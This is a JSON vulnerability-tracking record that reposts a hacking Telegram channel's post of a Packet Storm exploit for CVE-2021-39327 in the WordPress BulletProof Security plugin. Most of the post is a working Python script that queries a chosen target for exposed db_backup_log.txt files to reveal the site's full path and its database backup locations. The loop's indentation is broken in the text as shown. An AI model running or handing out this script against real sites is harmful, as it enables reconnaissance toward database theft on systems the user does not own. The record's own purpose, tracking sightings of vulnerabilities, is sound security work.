{"uuid": "a9c83cc3-6b10-4659-b7b2-398026a58441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.491789Z"}